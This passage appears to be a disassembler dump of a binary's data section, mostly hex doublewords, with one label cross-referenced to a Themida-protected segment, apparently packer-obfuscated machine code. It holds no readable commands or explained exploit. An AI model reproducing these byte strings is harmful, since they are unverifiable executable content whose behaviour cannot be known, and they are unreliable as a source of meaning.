24448104h, 1A04h dd 0C3574700h, 85B61DCh, 33A58FD8h, 1015919Dh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 74F7C353h, 14BAA2C6h, 9D8BD0FDh, 61030A5h dd 0B0BB006Ah, 0FF3DB34Eh, 101D1995h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E9B04A92h, 0Fh, 0B9F7247Dh, 9AC3134Eh, 35051338h, 8D77FE19h dd 13AFD88Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0B9C348CBh, 1A7B6F82h, 0EDBF66D1h dd 0CD9589CBh, 0FF06102Eh, 1A870FD1h, 60000000h, 12E9F8h dd 7CAA0000h, 0CFB24AC4h, 9663C294h, 8E795FE1h, 91EBF02Ah dd 9BD8361h, 1061022h, 75850Fh, 0B5290000h, 6102275h, 6A026Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 152623C3h, 0D2E35080h, 0D7816682h, 8166C4F5h, 509139CBh dd 2870Fh, 4B70000h, 0FF240489h, 10049595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0D8094D0Bh, 9E8h, 0FE4DBE00h, 851C6643h, 0E95FB529h dd 0D5Fh, 0E8h, 0ED815D00h, 6147172h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0EC35646h, 14E912FDh, 0CD000000h dd 102624E6h, 6692444Eh, 9A4ECE8Dh, 9AD28B65h, 89D2BDD1h dd 100B61B5h, 0B6858D06h, 6A061399h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 665EC355h dd 504630BFh, 0DCA0BB51h, 895F437Ch, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D03EEC3h dd 6100715h, 0D5BD0156h, 5B06101Eh, 35FF64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0F44C357h, 8E0FDFBFh, 8, 0A5B58950h, 5F06101Eh dd 258964h, 60000000h, 61D58AF9h, 141985FFh, 6A0610h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 6AF55AC3h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0FBFD4112h, 0C37D23A6h, 0F2BF665Ch dd 0EDB5FFC0h, 3061011h, 1031699Dh, 1595FF06h, 0E9061006h dd 11Dh, 0B0DD8Ah, 11860Fh, 0CE90000h, 5A000000h, 3E48C00Ch dd 371F276Ah, 0E62FB814h, 0CBB6670h, 0F71E41Ah, 613CFFB7h dd 0EF830Fh, 7E80000h, 85000000h, 4AD7734Fh, 8166D243h dd 5F4DD5DFh, 8BC8B60Fh, 102395BDh, 6BA06h, 95010000h dd 6102105h, 8166C18Bh, 0F89960DFh, 2B04E8C1h, 100A619Dh dd 0E2F76606h, 0C82BDE8Ah, 9E9h, 43ECF400h, 88E8058Ch dd 0D18BEC4Eh, 0E69B589h, 0EE90610h, 0F000000h, 885h, 2820F00h dd 8B000000h, 5858BD8h, 0F061001h, 884h, 95895100h, 610004Dh dd 7C0835Bh, 0E359D8Bh, 0C0830610h, 5654BF00h, 0D03B22D5h dd 13830Fh, 0E9F80000h, 55h, 8A24BB56h, 295B334Ch, 10045DB5h dd 18D8B06h, 0F061028h, 386h, 0BCE78000h, 0F01E183h, 3084h dd 62BB6600h, 1A5837Ch, 0FE061028h, 21518531h, 95890610h dd 6100105h, 0CE8h, 54E63D00h, 0E2D64AB0h, 89E84C91h, 5FFA8ABFh dd 0E9h, 0A8B58D00h, 6A0613FEh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 5E3AC350h, 6A0960D0h dd 9D895300h, 6102005h, 0C995FF5Fh, 60061031h, 7EDFA8B8h dd 62B96174h, 8B000009h, 1012C99Dh, 0FCE18306h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A6C35747h, 4A36F75Bh dd 895F57FCh, 101B899Dh, 5E906h, 693D0000h, 0FC17D535h dd 35BD8B52h, 5F06102Fh, 9509C02Bh, 6102FA9h, 11E8D22Bh dd 36000000h, 0E03115F1h, 23319673h, 337B3676h, 7C1DA9EAh dd 0F35DBF66h, 0C233AD5Fh, 0D003E8D1h, 7504E983h, 0D8D780F4h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0B1C35747h dd 664CA9DBh, 1369EB81h, 0EE8h dd 0C6FDDA00h, 2FE84259h, 0C8A27C08h, 0E9D139C3h, 0Ah dd 0B0140F78h, 86124D8Ah, 0D5F9598h, 88h, 12E8h, 5196D300h dd 2DEA8F77h, 3E187B25h, 0F566CA3Ah, 5B4EE076h, 9F5958Bh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0BE10AC3h, 0BB561CA9h, 1E9066D0h, 23198D8Bh dd 8B500610h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 1D059D8Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 477916C3h, 81B81178h, 2E4F78CBh dd 29BD831Ch, 6101Eh, 67840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B4656C3h dd 0B8F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 404DA0C3h, 0DD1F8D71h, 0D1BD8B0Ch dd 8D061006h, 104E858Dh, 39CB8006h, 0FFDEB70Fh, 7E9E1h dd 0BD030000h, 33562A1Ch, 0C1BD8357h, 61022h, 44B840Fh dd 12E90000h, 69000000h, 605027B5h, 27E5A789h, 489E9DC0h dd 6CBA4ABCh, 0C1BD83BFh, 1061022h, 442840Fh, 0BD830000h dd 61022C1h, 0FF860F03h, 80000003h, 6660CFEFh, 668010BBh dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 75A08C3h, 440887BAh, 60B18FA4h, 12B58589h dd 81660610h, 6136BACAh, 0AF67BB66h, 6A04E180h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0CE46C356h, 0C90A5F51h, 10C840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D899DC3h dd 61015B1h, 2185858Bh, 0F3810610h, 137969EEh, 11FD8533h dd 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 1A31CFC3h, 5B76BE4Fh, 0EE8E7h, 46C90000h dd 7FC2583Eh, 0B2252A85h, 9A837A10h, 5B99D03h, 505F0610h dd 66525051h, 0F7F5FBFh, 489ABF31h, 585A336Fh, 2404895Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DEC35141h dd 0B718EAC0h, 7E4BF9BFh, 358D8908h, 6A061006h, 0F19D8B00h dd 68061007h, 5369D128h, 3481F98Bh, 76D2D724h, 576DBF53h dd 95FF010Ah, 61005D5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0C8C35545h, 0BD1157AEh, 4BC78192h, 893D3B99h dd 13C26D85h, 41BD8B06h, 0E906102Fh, 224h, 858B7AB7h, 613C265h dd 13919D8Bh, 0C70610h, 18h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 2DC35747h, 8045DCB4h, 0D9BD2320h dd 8B061018h, 13C269B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0D375DC04h, 0F0DBD8Bh dd 0BD8B0610h, 610062Dh, 0E25858Bh, 0D3810610h, 471C4BF7h dd 68C0Fh, 0BD8B0000h, 6102A01h, 6A0689h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 4F709C3h dd 0F2262692h, 8B60973Bh, 1000458Dh, 2D8D8906h, 61061014h dd 2185858Bh, 0C4B30610h, 6A044689h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DBFC350h dd 5560ACDCh, 0FB4B34C3h, 27859D2Bh, 8B660610h, 8F0F50F9h dd 17h, 0AE95250h, 9B000000h, 0E2D1D925h, 0FDEABFF2h, 53310F56h dd 89585A5Fh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 507F27C3h, 2B346328h, 10E9h, 0B31B9100h dd 0EEDAD0D8h, 0C700ABE8h, 0B0133577h, 65B5FF73h, 0E90613C2h dd 0Bh, 0DE589A63h, 0BA1337B4h, 689A4CBBh, 0CAA0FC78h dd 10E8h, 0D1B45000h, 0AFA577B7h, 0C6E863BCh, 46FD5ADEh dd 0DE8AAh, 14B70000h, 0DA5A7D38h, 9EE942E0h, 5284ABFCh dd 815F5B5Fh, 7872404h, 0BD8B357Eh, 6100FD9h, 0C26D858Dh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0B529ACC3h, 6100715h, 8B525050h, 66310FDFh dd 585AFA8Bh, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0E5ACC351h, 143DBD33h dd 0BD2B0610h, 6100D6Dh, 5D595FFh, 6A0610h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD296EC3h dd 6101E2Dh, 0ADBD8B61h, 0C7061013h, 1022C185h, 306h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 66AA5E34h, 1E51F781h, 0BD83FE8Bh, 613C26Dh, 23840F00h dd 8B000000h, 37E9F9h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 305028C3h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0F99D8BC0h dd 6A061005h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 8A3BC355h, 0F63C3566h, 8E0F162Fh dd 8, 2850Fh, 5F510000h, 22C1BD83h, 0F030610h, 41485h dd 81665700h, 5F8C3ACFh, 0C26DBD83h, 0F000613h, 40084h dd 39B58900h, 8B06102Dh, 6DB5FFD9h, 6A0613C2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B924C352h, 0BD8B7CEDh, 6102D6Dh, 2FA595FFh, 6A0610h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 5C6C91C3h, 9112E653h, 332D9D09h, 45BF0610h, 8B499225h dd 13C261B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0B2AE3DBFh, 66DA2ABh, 0BD09DF8Bh dd 6102825h, 106C7h, 0E7810001h, 5E9EC797h, 1EB5BD8Bh dd 89500610h, 8B662434h, 6E9DEh, 697D0000h, 650D3E75h dd 0C26DB5FFh, 95890613h, 6100461h, 0BE9h, 39EC4A00h, 6E35C8B4h dd 611CE263h, 122595FFh, 8F0F0610h, 6, 30719501h, 0B58B0610h dd 613C261h, 8BD9B70Fh, 1021D185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0DDCB80AFh dd 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 64A200C3h, 6732CB81h, 9D8B24A2h dd 6103041h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0FE8E05C3h, 8B60551Eh dd 0AE9D3h, 828B0000h, 2B44AD19h, 1AD7C37Eh, 4C28361h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 37C35242h dd 89F8BF0Fh, 0FB8B2050h, 0D7C2858Dh, 6A0613h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0A83C07C3h, 8166B9E1h, 89BDE5CBh, 0B886h, 6D9D8900h dd 6A061009h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h dd 0C3504000h, 44E1ED7Ch, 6DB5FFF9h, 6A0613C2h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0FB23C350h, 0E9E4105Ch, 10h, 0B00F54D3h, 43D28A3Fh dd 86C5B89Ah, 41B6449h, 49595FFh, 0BE90610h, 0A6000000h dd 2D85A800h, 6D9D89C6h, 5250D827h, 66616060h, 5F61FA8Bh dd 89243489h, 101DC9BDh, 6DB5FF06h, 6A0613C2h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 3B92C351h, 31C59501h, 95FF0610h, 610162Dh, 1C19D8Bh dd 0BD830610h, 6101351h, 33840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0E6E1C351h, 5DA4A2C0h, 8EBF6696h, 0BBBB500Ah, 9672C93Dh dd 6D9BD29h, 0B5FF0610h, 613C26Dh, 0AAEF8160h, 61754052h dd 0C1995FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 66CC3DC3h, 0A71A9957h, 0E8F0F3Ch dd 60000000h, 820Fh, 830F0000h, 0 dd 6DB5FF61h, 6A0613C2h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 99BDC355h, 4D62E3A0h dd 3DBD037Ah, 0FF061001h, 10162195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0A59D2BC4h dd 2906100Ah, 101E9DBDh, 89BD8306h, 206100Fh, 5F840Fh dd 0B5890000h, 6101929h, 10C5858Bh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A93F9C3h dd 8B91C19Fh, 10218DBDh, 0C606h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 9DC35646h, 1DBD8B19h, 2B061024h dd 102965BDh, 2585C706h, 6102Ah, 0E9000000h, 5, 5FA454CAh dd 0F3B1E902h, 8B66FFFFh, 66C18BD8h, 8DC426BFh, 1013B985h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0FBC05537h, 75E56D1Bh, 0FEBF0F62h, 7E990h dd 17800000h, 0F50F3F9Bh, 819050D5h, 39093BEFh, 0E9006A6Bh dd 10h, 0D405909Ah, 0ACB1D6BBh, 0B1950667h, 165F5851h dd 960006Ah, 102A2DBDh, 61EC8A06h, 0CE9h, 9952E00h, 5F5BCE70h dd 0DA4E0E33h, 70858DFCh, 9061480h, 1030A595h, 5C08306h dd 1473DF81h, 60507050h, 0E8B641B8h, 4896178h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0AE8AB86h, 0E7000000h, 0DD975B86h, 0DC119474h, 0DF815BF0h db 15h, 0F1h, 49h byte_5933FF db 78h ; DATA XREF: Themida_:0054BF84o dd 0CB80006Ah, 9006A53h, 100B199Dh, 1995FF06h, 106101Dh dd 101049BDh, 0D88D8D06h, 0E90613AFh, 9, 0EDF4F370h, 0AC2B62C9h dd 6AD1FFC1h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 6188C352h, 5AFC9F4Fh, 30C62243h dd 7EBF6653h, 0BD835FE2h, 6102209h, 74850F01h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0CC7EC353h, 8BD98B19h, 1004E5BDh, 6A026A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0C3FBC356h, 919D2B42h, 81061029h, 1A7363CFh dd 0CE95029h, 58000000h, 3B7BFE35h, 2C28537Eh, 893DFA5Dh dd 0F3BF2404h, 0FF1C4033h, 10049595h, 0E9DA8B06h, 0D8Eh dd 0E8h, 0ED815D00h, 614807Ah, 18A1BD89h, 6A0610h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 1EA03EC3h, 0D01DF5C7h, 0C9CDBF66h, 99B6858Dh, 890F0613h dd 2, 0BF50DE8Bh, 0D5EDBC5h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F30FC353h dd 12E08A65h, 0E9F98B66h, 0Ch, 0C680FB67h, 0E4009226h dd 6B0A9712h, 35FF64h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 6789C350h dd 9615C4DDh, 0CD9D8BF3h, 64061005h, 2589h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 667AEDC3h, 0FF13D7BFh, 10141985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C65EB8BDh dd 0FF6A9E64h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0CDC35545h, 6B8D8548h, 9E88Eh, 0CD5B0000h, 3C09890Ah dd 5F3E3A4Ah, 6840Fh, 8D890000h, 6102779h, 0BB9B5FFh, 6A0610h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 7313BEC3h, 0D74A33DBh, 2985BD0Bh, 95FF0610h, 6100615h dd 108E9h, 0F7816600h, 0B06F2Ch, 53B770E6h, 26B371E4h dd 830F613Ch, 0F1h, 1B119D8Bh, 0B60F0610h, 7E9C8h, 58DA0000h dd 0F720CF1Eh, 6BAE5h, 0BB660000h, 8BFCC254h, 75BF66C1h dd 4E8C161h, 22999D89h, 0F7660610h, 0AE9E2h, 0D9860000h dd 7EE54CFCh, 0B87382D5h, 9589C82Bh, 6101B11h, 8B60D18Bh dd 1005CD9Dh, 0DE906h, 0D6200000h, 2B7811B8h, 46F64562h dd 61E7F49Dh, 12E9h, 0C8E0F00h, 0F000000h, 68Eh, 39BD8B00h dd 8B061007h, 1010B585h, 0C083FC06h, 0C08307h, 9E8h, 0EA4A0C00h dd 0EEC590DAh, 9D8B9EA1h, 6101CE1h, 0B99D895Bh, 3B061023h dd 0B830FD0h, 80000000h, 3EE990EFh, 66000000h, 8D8BFA8Bh dd 6102AB1h, 935BD2Bh, 0E1830610h, 26840F01h, 8A000000h dd 0B1A583D9h, 0FE06102Ah, 9589E7B3h, 61010B5h, 0BE9h dd 0FC695200h, 0E93CD67Ch, 64844FC0h, 0E9h, 3AB58D00h dd 0F06140Ah, 0F84h, 0AE900h, 0D3300000h, 0C884030Bh, 0FDD03165h dd 12E8006Ah, 0D6000000h, 183391D3h, 5F6FE686h, 706EF0E7h dd 372EA93Dh, 7DDF815Dh, 5F0BE9FDh, 31C995FFh, 81660610h dd 0B999D3CFh, 7E4h, 0E860Fh, 9E90000h, 49000000h, 811541FAh dd 88381987h, 10799D8Bh, 0E1830610h, 53006AFCh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 65F849A2h dd 0F821921h, 1850Fh, 0E9F90000h, 10h, 0AAD83D59h, 5712A469h dd 0EC5CD7E5h, 0DBBA334Bh, 559D89FCh, 0B8061001h, 0 dd 307DB589h, 0BA0610h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0CD97C353h dd 0CFC3368Eh, 9D8B19FFh, 6101575h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 50006AF9h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 45622B78h, 0F49D46F6h dd 9D038FE7h, 6100A31h, 11A59D8Bh, 880D0610h, 9000000h dd 102EF98Dh, 0F5958B06h, 6A061009h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B32C356h dd 1023198Dh, 8BFE8B06h, 102EE59Dh, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6A76E8BBh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 39BDC355h, 0D496FC7Bh, 892EE9B2h, 1019F18Dh, 29BD8306h dd 6101Eh, 44840Fh, 0DB810000h, 51FC0003h, 0B8F98B66h dd 0 dd 13F1B589h, 8D8D0610h, 6104E85h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 27C35343h, 0F0EEB80h, 0E1FFFFBFh dd 11C5B531h, 0BD830610h, 61022C1h, 0AF840F00h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 66A6C357h, 4B88EB81h, 22C1BD83h, 0F010610h dd 49C84h, 0B9950100h, 83061031h, 1022C1BDh, 860F0306h dd 453h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6308BCA6h, 8B5A1F54h, 101909BDh dd 0D98C6606h, 4E180F8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 5AC35141h, 0A37C2E0h, 34840FC9h, 0E8000001h dd 0Bh, 0C9482112h, 954DDFB7h, 899CEFB6h, 101DC1B5h, 858B5F06h dd 6102185h, 12E9h, 0B2130F00h, 6E1C211Eh, 1D1370E4h, 37BBA32Eh dd 33A57660h, 1011FD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0CB6A0AB4h, 0E950B6B3h dd 5, 71325AE5h, 240489EFh, 0D618589h, 6A0610h, 1BB99D33h dd 4E80610h, 0FF000000h, 50001F03h, 448BF88Bh, 2BBF0424h dd 8B5A89ABh, 9E900h, 0F19E0000h, 5C4EB8CDh, 89695375h dd 0F042444h, 0B89h, 60525000h, 66310F61h, 585ADA8Bh, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 74739E56h, 0A2B22F52h, 193DBD33h, 95FF0610h, 61005D5h dd 8589D8B3h, 613C26Dh, 0D5958952h, 5F061007h, 276E9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0AD435BD2h, 0C7816656h, 9D8BF80Dh, 61009E5h dd 8E8h, 20FD2400h, 899A9A15h, 0D680BB79h, 8B5B2D0Ch, 13C26585h dd 0CB816606h, 0C774FFh, 18h, 8BF98B66h, 13C269B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 895C6C91h, 100B1585h, 0EE906h, 0B3590000h, 6E8B7196h dd 76E494D9h, 26B26B71h, 0E25858Bh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B33CA0C3h dd 0AEDB8166h, 6A068933h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 54A0C350h, 666F941Ah dd 9C48D381h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0B59AFEC3h, 95FCD08Ah dd 89FC2CAFh, 0E3800446h, 52505059h, 310FF88Bh, 89BB5250h dd 0F1236CFh, 8E0F31h, 5A000000h, 89585A58h, 6A2434h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 656761C3h, 99F06836h, 0ABFD6DDh, 0F624D80h, 0C8Bh, 6860F00h dd 8B000000h, 10227DBDh, 65B5FF06h, 6A0613C2h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D69EC355h, 93476ADEh, 0B589B0D8h, 6101AB1h, 9C783068h dd 7E9601Ch, 65000000h, 216B7E03h, 8161A567h, 7BCF2434h dd 6A1C83h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 293C9AC3h, 1011AD85h, 6D858D06h, 6A0613C2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0E840C351h, 0B7CB113Dh, 600879C1h, 1F3DBD8Bh dd 0BD890610h, 6101219h, 0BF509061h, 23518F9Dh, 66606090h dd 90E8D981h, 14B19D8Bh, 0F610610h, 386h, 0C8D08000h, 0D595FF61h dd 6A061005h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0A080C350h, 810E9CC0h, 0E8F8BF0Fh dd 14h, 5B4148A9h, 0DC8896A8h, 2771FAD9h, 329C64ECh, 69D98DD3h dd 135D9D8Bh, 615B0610h, 8E8h, 0FEB8DD00h, 0F74B9000h dd 959D8BA6h, 5B061005h, 22C185C7h, 30610h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0AE33FFC3h, 0E556C488h, 0F98D29A0h, 0F9061005h, 0C26DBD83h dd 0F000613h, 3A84h, 5E900h, 9330000h, 0E9B02BB6h, 46h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 56C35040h dd 0FDAE448h, 68Ch, 99D0300h, 5006102Dh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 60447AC3h dd 8E8F78Bh, 46000000h, 0FC70800h, 9A2DD8Dh, 1023E195h dd 83615F06h, 1022C1BDh, 850F0306h, 39Ch, 0C26DBD83h, 0F000613h dd 38F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BB6666FCh, 0BD8B7733h, 61021F1h dd 0D3D38166h, 6DB5FF6Ch, 10613C2h, 10139D9Dh, 0DF816606h dd 95FFE2D8h, 6102FA5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 3C35141h, 89DB03B0h, 10024D8Dh, 8BF98B06h dd 13C261B5h, 0A7B75206h, 106C75Fh, 6A000100h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 9156C350h, 599D8B58h, 8B06100Fh, 102D35BDh, 66579606h dd 5B5771BBh, 52506050h, 310F5250h, 310F585Ah, 810Fh, 585A0000h dd 28C0Fh, 0EBB50000h, 6A9661h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0E5F59FC3h, 8529334Dh dd 6102DE1h, 9787BB66h, 0C26DB5FFh, 9D0B0613h, 6101CEDh dd 122595FFh, 95090610h, 610137Dh, 0C261B58Bh, 8D890613h dd 6102809h, 21D1858Bh, 0BD8B0610h, 6102FC1h, 0C48689h dd 890F0000h, 6, 8898509h, 958B0610h, 61009F5h, 1CA58529h dd 0C2830610h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 201DC5C9h, 3CDB8175h dd 89198376h, 858D2050h, 613D7C2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 2BC35646h, 0F55973F9h, 0B99D8B7Fh dd 89061011h, 0B886h, 6A006A00h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 2D85C355h, 0F9D89C6h dd 68Fh, 0C1BD2900h, 0FF06102Dh, 13C26DB5h, 89BD8B06h dd 0FF061006h, 10049595h, 19BD2B06h, 5006102Dh, 89FA8B66h dd 860F2434h, 19h, 12E960h, 0FDA60000h, 0A080C5BAh, 810E9CC0h dd 95A09BCAh, 8608892Bh, 6DB5FF61h, 6A0613C2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0EB75C352h, 8B425FE4h, 1011699Dh, 0B1BD8B06h, 0FF061009h dd 10162D95h, 51BD8306h, 61013h, 2B840Fh, 0C7800000h, 0F6BF5072h dd 895A6E84h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0D75D63C3h, 6DB5FF04h, 600613C2h dd 965BD89h dd 0F0BF0610h, 617FCDCAh, 0C1995FFh, 95890610h, 61030CDh dd 0C26DB5FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0E4F2B9C3h, 6D5272C4h, 0E8F537B6h dd 11h, 0AE1FC84Eh, 0DEDF0BCh, 0D92B592h, 0F7972591h, 0FE9D2h dd 2C000000h, 8FCC74F5h, 867521E9h, 4C325779h, 0F525B43h dd 525BDBBFh, 115DB589h, 0FF5B0610h, 10162195h, 0B3BB6606h dd 89BD8355h, 206100Fh, 3D840Fh, 0BD890000h, 6102109h dd 10C5858Bh, 0BB660610h, 0C649DDh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 934A072Ah dd 0A25CCD6Dh, 68BBBC68h, 0C77A1016h, 102A2585h, 6, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0E6CABA60h, 88467B3Bh, 